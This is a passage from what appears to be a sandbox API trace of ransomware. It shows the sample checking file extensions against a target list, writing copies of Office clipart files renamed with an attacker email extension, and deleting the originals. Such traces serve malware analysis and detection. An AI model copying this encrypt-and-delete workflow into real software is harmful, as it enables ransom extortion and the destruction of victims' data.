dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.816] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.816] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.823] GetLastError () returned 0x0 [0168.823] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x785c, lpOverlapped=0x0) returned 1 [0168.826] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7860, lpOverlapped=0x0) returned 1 [0168.827] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.828] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.828] SetEndOfFile (hFile=0x388) returned 1 [0168.831] CloseHandle (hObject=0x388) returned 1 [0168.832] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.832] SetEndOfFile (hFile=0x378) returned 1 [0168.834] CloseHandle (hObject=0x378) returned 1 [0168.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0168.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.836] lstrlenW (lpString=".doc") returned 4 [0168.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.836] lstrlenW (lpString=".docx") returned 5 [0168.836] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.836] lstrlenW (lpString=".pdf") returned 4 [0168.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.836] lstrlenW (lpString=".xls") returned 4 [0168.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.836] lstrlenW (lpString=".xlsx") returned 5 [0168.836] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.836] lstrlenW (lpString=".ppt") returned 4 [0168.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.836] lstrlenW (lpString=".zip") returned 4 [0168.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.837] lstrlenW (lpString=".rar") returned 4 [0168.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString=".bz2") returned 4 [0168.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString=".7z") returned 3 [0168.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString=".dbf") returned 4 [0168.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString=".1cd") returned 4 [0168.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString=".jpg") returned 4 [0168.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString=".doc") returned 4 [0168.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString=".docx") returned 5 [0168.837] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.837] lstrlenW (lpString=".pdf") returned 4 [0168.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString=".xls") returned 4 [0168.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.837] lstrlenW (lpString=".xlsx") returned 5 [0168.837] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.837] lstrlenW (lpString=".ppt") returned 4 [0168.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString=".zip") returned 4 [0168.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.837] lstrlenW (lpString=".rar") returned 4 [0168.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString=".bz2") returned 4 [0168.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString=".7z") returned 3 [0168.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString=".dbf") returned 4 [0168.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString=".1cd") returned 4 [0168.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0168.837] lstrlenW (lpString=".jpg") returned 4 [0168.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.838] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.838] lstrlenW (lpString="J0152696.WMF") returned 12 [0168.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.843] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7320) returned 1 [0168.843] CloseHandle (hObject=0x354) returned 1 [0168.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220 [0168.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.854] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.854] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.861] GetLastError () returned 0x0 [0168.861] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1c98, lpOverlapped=0x0) returned 1 [0168.862] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1ca0, lpOverlapped=0x0) returned 1 [0168.863] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.863] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.863] SetEndOfFile (hFile=0x398) returned 1 [0168.867] CloseHandle (hObject=0x398) returned 1 [0168.868] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.868] SetEndOfFile (hFile=0x308) returned 1 [0168.871] CloseHandle (hObject=0x308) returned 1 [0168.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0168.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString=".doc") returned 4 [0168.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString=".docx") returned 5 [0168.875] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.875] lstrlenW (lpString=".pdf") returned 4 [0168.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString=".xls") returned 4 [0168.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.875] lstrlenW (lpString=".xlsx") returned 5 [0168.875] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.875] lstrlenW (lpString=".ppt") returned 4 [0168.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString=".zip") returned 4 [0168.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.875] lstrlenW (lpString=".rar") returned 4 [0168.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString=".bz2") returned 4 [0168.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString=".7z") returned 3 [0168.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString=".dbf") returned 4 [0168.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString=".1cd") returned 4 [0168.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString=".jpg") returned 4 [0168.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString=".doc") returned 4 [0168.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString=".docx") returned 5 [0168.875] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.875] lstrlenW (lpString=".pdf") returned 4 [0168.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString=".xls") returned 4 [0168.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.875] lstrlenW (lpString=".xlsx") returned 5 [0168.875] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.875] lstrlenW (lpString=".ppt") returned 4 [0168.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.875] lstrlenW (lpString=".zip") returned 4 [0168.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.875] lstrlenW (lpString=".rar") returned 4 [0168.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.875] lstrlenW (lpString=".bz2") returned 4 [0168.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.876] lstrlenW (lpString=".7z") returned 3 [0168.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.876] lstrlenW (lpString=".dbf") returned 4 [0168.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.876] lstrlenW (lpString=".1cd") returned 4 [0168.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0168.876] lstrlenW (lpString=".jpg") returned 4 [0168.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.876] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.876] lstrlenW (lpString="J0152708.WMF") returned 12 [0168.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.881] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4908) returned 1 [0168.881] CloseHandle (hObject=0x3ac) returned 1 [0168.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220 [0168.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.896] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.896] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.901] GetLastError () returned 0x0 [0168.901] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x132c, lpOverlapped=0x0) returned 1 [0168.903] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1330, lpOverlapped=0x0) returned 1 [0168.904] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.904] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.904] SetEndOfFile (hFile=0x388) returned 1 [0168.908] CloseHandle (hObject=0x388) returned 1 [0168.910] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.910] SetEndOfFile (hFile=0x360) returned 1 [0168.914] CloseHandle (hObject=0x360) returned 1 [0168.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0168.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.918] lstrlenW (lpString=".doc") returned 4 [0168.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.918] lstrlenW (lpString=".docx") returned 5 [0168.919] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.919] lstrlenW (lpString=".pdf") returned 4 [0168.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString=".xls") returned 4 [0168.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.919] lstrlenW (lpString=".xlsx") returned 5 [0168.919] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.919] lstrlenW (lpString=".ppt") returned 4 [0168.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.919] lstrlenW (lpString=".zip") returned 4 [0168.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.919] lstrlenW (lpString=".rar") returned 4 [0168.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString=".bz2") returned 4 [0168.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString=".7z") returned 3 [0168.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.919] lstrlenW (lpString=".dbf") returned 4 [0168.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.919] lstrlenW (lpString=".1cd") returned 4 [0168.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.919] lstrlenW (lpString=".jpg") returned 4 [0168.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.919] lstrlenW (lpString=".doc") returned 4 [0168.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString=".docx") returned 5 [0168.919] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.919] lstrlenW (lpString=".pdf") returned 4 [0168.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.919] lstrlenW (lpString=".xls") returned 4 [0168.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.919] lstrlenW (lpString=".xlsx") returned 5 [0168.919] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.919] lstrlenW (lpString=".ppt") returned 4 [0168.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.920] lstrlenW (lpString=".zip") returned 4 [0168.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.920] lstrlenW (lpString=".rar") returned 4 [0168.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.920] lstrlenW (lpString=".bz2") returned 4 [0168.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.920] lstrlenW (lpString=".7z") returned 3 [0168.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.920] lstrlenW (lpString=".dbf") returned 4 [0168.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.920] lstrlenW (lpString=".1cd") returned 4 [0168.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0168.920] lstrlenW (lpString=".jpg") returned 4 [0168.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.920] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.920] lstrlenW (lpString="J0152878.WMF") returned 12 [0168.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.926] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14888) returned 1 [0168.926] CloseHandle (hObject=0x2ec) returned 1 [0168.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 0x220 [0168.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.941] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.941] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 